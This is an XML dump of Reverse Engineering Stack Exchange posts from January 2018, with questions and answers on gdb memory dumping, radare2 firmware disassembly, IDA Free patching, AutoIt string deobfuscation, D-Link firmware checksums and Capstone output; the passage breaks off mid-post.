  <row Id="17157" PostTypeId="2" ParentId="17147" CreationDate="2018-01-08T22:50:58.037" Score="2" Body="&lt;p&gt;Well since your VLC is still running the easiest to recover your file will be fire up &quot;View&quot; -&gt; &quot;Advanced controls&quot; and re-record the entire file. You should find a vlc-record-... somewhere in your homefolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, you can attach to a running process with &lt;code&gt;attach &amp;lt;pid&amp;gt;&lt;/code&gt; in a gdb shell without argument(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;detach&lt;/code&gt; to return execution to vlc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;memory can be dumped with &lt;code&gt;dump binary memory result.bin start-addr end-addr&lt;/code&gt; (see &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html&lt;/a&gt;) but it's highly unlikely your entire file will be in memory, it probably still works because the file descriptor is still open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a small disclaimer, you probably only got 1 shot at this. As soon as the file descriptor is closed (this will probably happen when VLC reaches end of file and gets into 'stopped' state or if the gdb does something unintended) your file will be lost - so you might want to try those steps first on a new / different file, preferably on a different Mac.&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2018-01-08T22:50:58.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17158" PostTypeId="1" AcceptedAnswerId="17502" CreationDate="2018-01-08T23:27:00.313" Score="3" ViewCount="710" Body="&lt;p&gt;I'm digging into a BLE product based on a CC2541 MCU (similar to the Texas Instruments SensorTag). So for experimenting we can use an official firmware: &lt;a href=&quot;http://processors.wiki.ti.com/images/1/10/SensorTagFW_1_5.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://processors.wiki.ti.com/images/1/10/SensorTagFW_1_5.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk does not give any results.&#xA;strings give some valid information, so the file is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the datasheet for CC2541 tells it is a 8051 controller. (?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/bm2# radare2 -a 8051 firmware.bin &#xA;Cannot set bits 32 to '8051'&#xA;Cannot set bits 32 to '8051'&#xA; -- Use 'e' and 't' in Visual mode to edit configuration and track flags.&#xA;[0x00000000]&amp;gt; aaaa&#xA;[*** invalid %N$ use detected ***th sym. and entry0 (aa)&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know there is an open bug about %N$:&#xA;&lt;a href=&quot;https://github.com/radare/radare2/issues/3944&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2/issues/3944&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do i do it all wrong, or can somebody point me in the right direction? A bit unsure about the MCU settings and bitsize though.&lt;/p&gt;&#xA;" OwnerUserId="22836" LastEditorUserId="30088" LastEditDate="2020-01-15T15:18:06.140" LastActivityDate="2020-01-15T15:18:06.140" Title="Disassemble CC2541 firmware (TI SensorTag)" Tags="|disassembly|firmware|radare2|8051|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17159" PostTypeId="1" AcceptedAnswerId="17161" CreationDate="2018-01-09T04:47:19.347" Score="4" ViewCount="6323" Body="&lt;p&gt;I am using IDA Free for malware analysis and I wanted to patch a binary I am looking at. I applied the patch by using the patch menu, which modifies the DATABASE representation of the executable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to run the executable via &lt;em&gt;Debugger -&gt; Run&lt;/em&gt;, it warns me that the database has been patched and there may be inconsistencies. However, when it finally runs it runs the original executable without patched code!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell IDA to run the patched code? Or, since it's only patched in the database, my only choice is to export a &lt;em&gt;DIF&lt;/em&gt; file and patch it manually to confirm it works?&lt;/p&gt;&#xA;" OwnerDisplayName="user22856" LastEditorUserId="18698" LastEditDate="2018-01-09T07:21:21.117" LastActivityDate="2018-01-09T07:55:57.083" Title="Running a patched binary within IDA Free" Tags="|ida|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17161" PostTypeId="2" ParentId="17159" CreationDate="2018-01-09T07:55:57.083" Score="2" Body="&lt;p&gt;IDA Free doesn't support the &lt;em&gt;&quot;Apply patches to input file...&quot;&lt;/em&gt; feature. Hence, you'll have to do this the old way. I'll expand my answer and will go over things you already know so others (e.g coming from search engines) can benefit from a whole complete answer.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit the configuration file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The first thing you have to do is to modify an IDA GUI configuration file named &lt;em&gt;idagui.cfg&lt;/em&gt;. You should be able to find the file at &lt;em&gt;&quot;IDA Free\cfg\idagui.cfg&quot;&lt;/em&gt;. Locate the file and change &lt;em&gt;&quot;DISPLAY_PATCH_SUBMENU&quot;&lt;/em&gt; form &lt;em&gt;&quot;NO&quot;&lt;/em&gt; to &lt;em&gt;&quot;YES&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, start IDA Free and you'll see a fresh new sub-menu called &lt;em&gt;&quot;Patch program&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Patching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You should be able to use this sub-menu to edit the program. It's pretty intuitive, just put your cursor wherever you want to make a change, and choose the appropriate option from the sub-menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Notice&lt;/strong&gt; that every patch you do is only affected on the IDB, the IDA Database. Thus, the binary on disk won't be affected and when you'll try to debug/execute it you will not see your patches.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Exporting a .DIF file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you finish with all your patches, it's time to apply them to the binary on disk. To do this, you'll first have to produce a &lt;em&gt;.DIF&lt;/em&gt; file that will contain a list of the changes you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To produce this file go to &lt;em&gt;File -&gt; Produce File -&gt; Create DIF file...&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Applying the changes to the binary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://stalkr.net/files/ida/idadif.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &lt;em&gt;Python&lt;/em&gt; script by &lt;em&gt;stalker&lt;/em&gt; to apply the changes. Use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ idadif.py &amp;lt;original_binary&amp;gt; &amp;lt;IDA_DIF_file.dif&amp;gt; [revert]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternatives:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;em&gt;Note that I didn't test these alternatives and I'm pretty sure that some of them will not work with IDA Free&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.idabook.com/chapter14/ida_patcher.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_patcher.c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/nihilus/IDA-IDC-Scripts/blob/master/PE-scripts/pe_write.idc&quot; rel=&quot;nofollow noreferrer&quot;&gt;pe_write.idc&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/iphelix/ida-patcher&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Patcher plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/grepwood/ida-dif-patch&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA DIF Patch&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-01-09T07:55:57.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17162" PostTypeId="1" CreationDate="2018-01-09T13:59:30.180" Score="1" ViewCount="1332" Body="&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pastebin.com/ZwvySjgy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/ZwvySjgy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to deobfuscate the strings protected with &lt;code&gt;STRINGDEC&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="22828" LastEditorUserId="18698" LastEditDate="2018-01-09T15:31:01.197" LastActivityDate="2018-01-10T09:37:24.827" Title="how to deobfuscate Autoit strings?" Tags="|deobfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17163" PostTypeId="2" ParentId="17162" CreationDate="2018-01-09T14:50:15.863" Score="1" Body="&lt;p&gt;You need to reimplement the following function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FUNC STRINGDEC($STRING,$PARAM)&#xA;$STRING=STRINGTOASCIIARRAY($STRING)&#xA;$PARAM=STRINGSPLIT($PARAM,&quot;,&quot;,2)&#xA;$COUNT=0&#xA;$RETURN=&quot;&quot;&#xA;FOR $I=0 TO UBOUND($PARAM)-1&#xA;$CHAR=$PARAM[$I]&#xA;$COMPARE=$STRING[$COUNT]&#xA;$RETURN&amp;amp;=CHRW($CHAR+$COMPARE)&#xA;IF $COUNT=UBOUND($STRING)-1 THEN&#xA;$COUNT=0&#xA;ELSE&#xA;$COUNT=$COUNT+1&#xA;ENDIF&#xA;NEXT&#xA;RETURN $RETURN&#xA;ENDFUNC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function is at the end of your script at pastebin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a basis of some examples taken from your pastebin and If I'm not mistaken in Python it should look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def STRINGDEC(thestring, thekey):&#xA;    res = &quot;&quot;&#xA;    thekey = thekey.replace(&quot; &quot;, &quot;&quot;)&#xA;    splittedkey = thekey.split(&quot;,&quot;)&#xA;    string_length = len(thestring)&#xA;    for i in range(len(splittedkey)):&#xA;        res += chr(ord(thestring[i]) + int(splittedkey[i]))&#xA;    return res&#xA;print STRINGDEC(&quot;retwkmufmhmqqqdufngfgdcsnpuhur&quot;,&quot; 5 ,10,-2,-19,-75,-32,-20,-3,-5,1,1,-12,-54&quot;)&#xA;print STRINGDEC(&quot;jkyhbzkqgtbnrbyvhdlfukgrzrptzq&quot;,&quot; 13,4 ,-7,-4 ,-66,-44,10,-4,-5,-15,16,-31,-12,-15,-20,-19,12,5,3,8,-2,-48&quot;)&#xA;print STRINGDEC(&quot;fgdaygtgtzkeiogftjplkmhulfitfm&quot;,&quot; -2 ,16,11,17,-21,-71,-32,2,-7,-21,-39,-4,11,-10,-20,14,-19,3,0,-49&quot;)&#xA;print STRINGDEC(&quot;zopsbydhesjliykcpzsrvtfauhflxz&quot;,&quot; -22,8,-1,-1,2,-89,-20,7,4,-5,10,-7,9,-37,4,-16,9,-13,-17,-3,-10,-32,-5,1,-9,-3,-43&quot;)&#xA;print STRINGDEC(&quot;flefcfumutnglnuaesxlfacuwsbvwu&quot;,&quot; -2 ,11,10,12,1,-70,-39,8,-8,-18,-9,11,-29,-8,-34,24,8,-17,-9,0,13,-38&quot;)&#xA;print STRINGDEC(&quot;sirkouutovjrulplwkbwilyyfdsrvn&quot;,&quot; 4  ,6,0,-7,-79,-34,-12,6,-10,-39,-4,-35,-5,8,-7,3,-9,-10,10,-47,-4,-11,-21,-20,12,-41&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it gives the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;word Machine;&#xA;word NumberOfSections;&#xA;dword TimeDateStamp;&#xA;dword PointerToSymbolTable;&#xA;dword NumberOfSymbols;&#xA;word SizeOfOptionalHeader;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Searching for deobfuscating function always helps and sometimes the function is very easy to find.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-01-10T09:37:24.827" LastActivityDate="2018-01-10T09:37:24.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17164" PostTypeId="2" ParentId="17162" CreationDate="2018-01-09T14:56:55.457" Score="2" Body="&lt;p&gt;The function &lt;code&gt;STRINGDEC&lt;/code&gt; isn't a built-in autoit function. It was implemented by the programmer to create some sort of Substitution cipher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the source code of the function at the bottom of the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FUNC STRINGDEC($STRING,$PARAM)&#xA;$STRING=STRINGTOASCIIARRAY($STRING)&#xA;$PARAM=STRINGSPLIT($PARAM,&quot;,&quot;,2)&#xA;$COUNT=0&#xA;$RETURN=&quot;&quot;&#xA;FOR $I=0 TO UBOUND($PARAM)-1&#xA;$CHAR=$PARAM[$I]&#xA;$COMPARE=$STRING[$COUNT]&#xA;$RETURN&amp;amp;=CHRW($CHAR+$COMPARE)&#xA;IF $COUNT=UBOUND($STRING)-1 THEN&#xA;$COUNT=0&#xA;ELSE&#xA;$COUNT=$COUNT+1&#xA;ENDIF&#xA;NEXT&#xA;RETURN $RETURN&#xA;ENDFUNC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily implement it by yourself in python, which is a common language for this kind of tasks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def stringdec (encoded_string, shifts):&#xA;    shift_array = shifts.split(',')&#xA;    count = 0&#xA;    decoded_string = &quot;&quot;&#xA;    for i in range(len(shift_array)):&#xA;        key = shift_array[i]&#xA;        encoded_char = encoded_string[count]&#xA;        decoded_string +=  chr(ord(encoded_char)+int(key))&#xA;        if count == len(encoded_string)-1:&#xA;            count = 0&#xA;        else:&#xA;            count +=1&#xA;    return decoded_string       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now just execute the function to reveal the decrypted strings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; stringdec(&quot;cafcpiykeudtenowwkcwacdibognfe&quot;,&quot;0,7,-5,15,-80,-28,-24,-4,4,-18,-9,-66,-8,-51&quot;)&#xA;'char Magic[2];'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; stringdec(&quot;ubkwizcimjccdlngsyozqnmibctpmy&quot;,&quot;2,13,7,-19,-73,-56,22,11,-8,9,-20,11,-24,-11,5,13,-35,-24,-8,-21,-54&quot;)&#xA;'word BytesOnLastPage;'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; stringdec(&quot;jkmnqgfdegisgbolkjuviexnjchhmj&quot;,&quot;13,4,5,-10,-81,-23,-5,3,0,12,-46&quot;)&#xA;'word Pages;'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; stringdec(&quot;juwfbhmxssmocpwtpbcobugkqfdcsx&quot;,&quot;13,-6,-5,-2,-66,-22,-8,-12,-4,-16,-12,5,6,-1,-9,-1,-53&quot;)&#xA;'word Relocations;'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://pastebin.com/3KtZxwAp&quot; rel=&quot;nofollow noreferrer&quot;&gt;this pastebin page&lt;/a&gt; for a &lt;strong&gt;full list&lt;/strong&gt; of the decrypted strings.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-01-10T07:06:03.783" LastActivityDate="2018-01-10T07:06:03.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17165" PostTypeId="2" ParentId="17127" CreationDate="2018-01-09T18:50:58.880" Score="5" Body="&lt;p&gt;I searched in the System32 folder inside every file named SystemSettting*.* for the word Shutdown. I used Total Commander as it can search with multiple encodings such as ASCII and Unicode:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RHXfr.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHXfr.png&quot; alt=&quot;Total Commander | Find Files&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then builtin viewer showed a reference to &lt;code&gt;InitiateSystemShutdownExW&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eXwnZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eXwnZ.png&quot; alt=&quot;Total Commander Lister&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From MSDN:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;InitiateSystemShutdownEx function&lt;/strong&gt; Initiates a shutdown and optional restart of the specified computer, and optionally records the&#xA;  reason for the shutdown.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI InitiateSystemShutdownEx(&#xA;  _In_opt_ LPTSTR lpMachineName,&#xA;  _In_opt_ LPTSTR lpMessage,&#xA;  _In_     DWORD  dwTimeout,&#xA;  _In_     BOOL   bForceAppsClosed,&#xA;  _In_     BOOL   bRebootAfterShutdown,&#xA;  _In_     DWORD  dwReason&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To verify, a next step would be to set a breakpoint on this API using a tool like Ida Pro or API Monitor. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2018-01-09T18:50:58.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17166" PostTypeId="1" CreationDate="2018-01-09T19:58:31.907" Score="4" ViewCount="976" Body="&lt;p&gt;I have &lt;a href=&quot;ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-605L/REVB/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this D-Link&lt;/a&gt; firmware and would like to identify checksum type used on it and add it to OpenWrt bin file so I could upgrade firmware to OpenWrt instead default crappy D-Link. I did tried to update it through Realtek bootloader cli but it gave me an error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Booting...&#xA;OK&#xA;OK&#xA;&#xA;&#xA;&#xA;---RealTek(RTL8196E-kld) version v6.0.4e(2013.02.22-18:00+0800) [16bit](380MHz)&#xA;P0phymode=01, embedded phy&#xA;&#xA;---Ethernet init Okay!&#xA;&#xA;&#xA;**TFTP Client Upload, File Name: openwrt-realtek-rtl8196e-AP-fw.bin&#xA;-\|/-\|...|/-&#xA;**TFTP Client Upload File Size = 003AA004 Bytes at 80500000&#xA;&#xA;Success!&#xA;&amp;lt;RealTek&amp;gt;checksum failed  80500000  00009fa5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what binwal says &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk DIR-605L_v2.08UIBetaB01.bin &#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;11280         0x2C10          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 2547712 bytes&#xA;658466        0xA0C22         Squashfs filesystem, big endian, version 2.0, size: 89101 bytes, 8 inodes, blocksize: 65536 bytes, created: 2017-06-09 02:24:25&#xA;748596        0xB6C34         Squashfs filesystem, big endian, version 2.0, size: 2592128 bytes, 512 inodes, blocksize: 65536 bytes, created: 2017-06-09 02:24:40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2018-01-11T07:47:49.653" LastActivityDate="2021-04-26T15:04:37.443" Title="Identification of D-Link firmware checksum and adding it to OpenWrt firmware" Tags="|binary-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17167" PostTypeId="2" ParentId="17166" CreationDate="2018-01-10T03:02:14.887" Score="1" Body="&lt;p&gt;1- If you own original firmware bin image you could use hex workshop, open it:&#xA;tools -&gt; generate checksum, keep results. Also you have online websites with specific CRC algorythm, MD5, MDC2, and so on... Keep as much results as you could for next step..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Normally checksum bytes should be at the end of the file (EOF) and usually is a CRC32 (4 bytes lenght). So collect all checksums and take a look to results if match ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would be able to generate correct checksum with proper algorythm, just in case as the bootloader makes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Never loose the faith :-)&lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2018-01-10T03:02:14.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17169" PostTypeId="2" ParentId="16787" CreationDate="2018-01-10T04:59:39.080" Score="3" Body="&lt;p&gt;If you extract this file in the right way, you will get linux root filesystem as it is.(2 types in this case)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pnX5B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pnX5B.png&quot; alt=&quot;root FS 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5aksl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5aksl.png&quot; alt=&quot;root FS 2&quot;&gt;&lt;/a&gt;&#xA;I don't see any kind of bootloader, the dump seems to be only the root fs  and kernel part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open file &quot;98.bin&quot; again with 7zip, it will open again, thats because of this data at the end of file:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kLB8r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kLB8r.png&quot; alt=&quot;entropy 98.bin&quot;&gt;&lt;/a&gt;&#xA;The .cer file you get from binwalk is not real certificate file, is just a coincidence of hex header 0x3082, which is used for certificates, but in this case is just pure code and has not the cert structure.&lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2018-01-10T04:59:39.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17170" PostTypeId="2" ParentId="14982" CreationDate="2018-01-10T05:20:40.457" Score="2" Body="&lt;p&gt;Just a fast answer as future tip for NAND issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When make reading of NAND flashes (doesn't care if bga, tsop..), not all programmers make clear dump, normally it includes dummy blocks as you mentioned OOB data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As NAND dumps should be multiple of 8, like 64, 128, 256MB...if the file you dump is larger than typical size, e.g. 132MB, then is mandatory to analyze the binary for remove dummy chunks and find out the pattern, then you could start playing with the binary.&lt;/p&gt;&#xA;" OwnerUserId="3253" LastActivityDate="2018-01-10T05:20:40.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17171" PostTypeId="1" CreationDate="2018-01-10T11:26:41.670" Score="1" ViewCount="249" Body="&lt;p&gt;Is it possible to correctly disassemble STL inlines with IDA? STL inlines are not detected by &lt;em&gt;FLAIR&lt;/em&gt; just because they are inline not functions. For example how can I know that the code I see disassembled was in the original source&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  std::set&amp;lt;int&amp;gt; myset;&#xA;  myset.insert(10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  std::vector&amp;lt;short&amp;gt; myvector;&#xA;  myvector.push_back(10);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible somehow to know what the code exactly means when it was originally born?&lt;/p&gt;&#xA;" OwnerUserId="22865" LastEditorUserId="18698" LastEditDate="2018-01-11T07:53:39.280" LastActivityDate="2018-01-11T07:53:39.280" Title="Is it possible to correctly disassemble STL inlines?" Tags="|ida|decompilation|c++|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17173" PostTypeId="2" ParentId="4624" CreationDate="2018-01-11T07:23:06.733" Score="4" Body="&lt;p&gt;You can also try the Snowman tool: &lt;s&gt;https://derevenets.com/&lt;/s&gt;.&lt;/p&gt;&#xA;&lt;p&gt;NB: the original author appears to have &amp;quot;pulled&amp;quot; it. Several forks exist, e.g. &lt;a href=&quot;https://github.com/serhack/snowman&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt; not connected to original) or &lt;a href=&quot;https://github.com/yegord/snowman/forks&quot; rel=&quot;nofollow noreferrer&quot;&gt;these&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Snowman is a native code to C/C++ decompiler&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It supports ARM, x86, and x86-64 architectures as specified on their website.&lt;/p&gt;&#xA;" OwnerUserId="22880" LastEditorUserId="245" LastEditDate="2023-10-10T11:00:26.750" LastActivityDate="2023-10-10T11:00:26.750" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17174" PostTypeId="1" CreationDate="2018-01-11T10:09:59.080" Score="1" ViewCount="3989" Body="&lt;p&gt;I'm trying to run a script with IDAPython on Windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS: C:\Users\user\Downloads&amp;gt; ida.exe -S&quot;tmp.py&quot; -t&#xA;&amp;gt;&amp;gt;&#xA;PS: C:\Users\user\Downloads&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I had to press Ctrl+C to get out of the &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt; prompt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I run the script?&lt;/p&gt;&#xA;" OwnerUserId="22883" LastActivityDate="2018-04-17T01:08:18.087" Title="Running script on the command line with IDA Pro 7.0" Tags="|windows|idapython|command-line|script|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17177" PostTypeId="2" ParentId="1566" CreationDate="2018-01-12T00:00:39.683" Score="1" Body="&lt;p&gt;An interesting and obvious question pertains to either the 1/2 or full automation of the clean room design process -- as an application of Artificial Intelligence (particularly, the AI fields of program synthesis/analysis and natural language processing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not just an idle or academic question: I am rushing headlong into the creation and deployment of such a framework.&lt;/p&gt;&#xA;" OwnerUserId="22885" LastActivityDate="2018-01-12T00:00:39.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17178" PostTypeId="1" AcceptedAnswerId="17179" CreationDate="2018-01-12T00:10:23.027" Score="0" ViewCount="336" Body="&lt;p&gt;I'm trying to disassembly x64 executable (dll) using &lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt;. But operand address returned by it doesn't match disassembly from IDA/HIEW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the machine code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In IDA/HIEW the disassembly is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea  rcx,[0000148F8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But by using Capstone (with PowerShell bindings) I get different address &lt;code&gt;0x144ed&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Get-CapstoneDisassembly -Architecture CS_ARCH_X86 -Mode CS_MODE_64 -Bytes (&#xA;    0x48, 0x8D, 0x0D, 0xED, 0x44, 0x01, 0x00&#xA;) -Address 0x1800000004096 -Detailed&#xA;&#xA;Size     : 7&#xA;Address  : 0x180001000&#xA;Mnemonic : lea&#xA;Operands : rcx, qword ptr [rip + 0x144ed]&#xA;Bytes    : {72, 141, 13, 237, 68, 1, 0, 148, 204, 148, 0, 17, 0, 128, 0, 0}&#xA;RegRead  :&#xA;RegWrite :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can verify this online by using &lt;a href=&quot;https://alexaltea.github.io/capstone.js/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone.js&lt;/a&gt; and &lt;code&gt;488D0DED440100&lt;/code&gt; as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried &lt;a href=&quot;https://github.com/spazzarama/SharpDisasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;SharpDisasm&lt;/a&gt;, but result is the 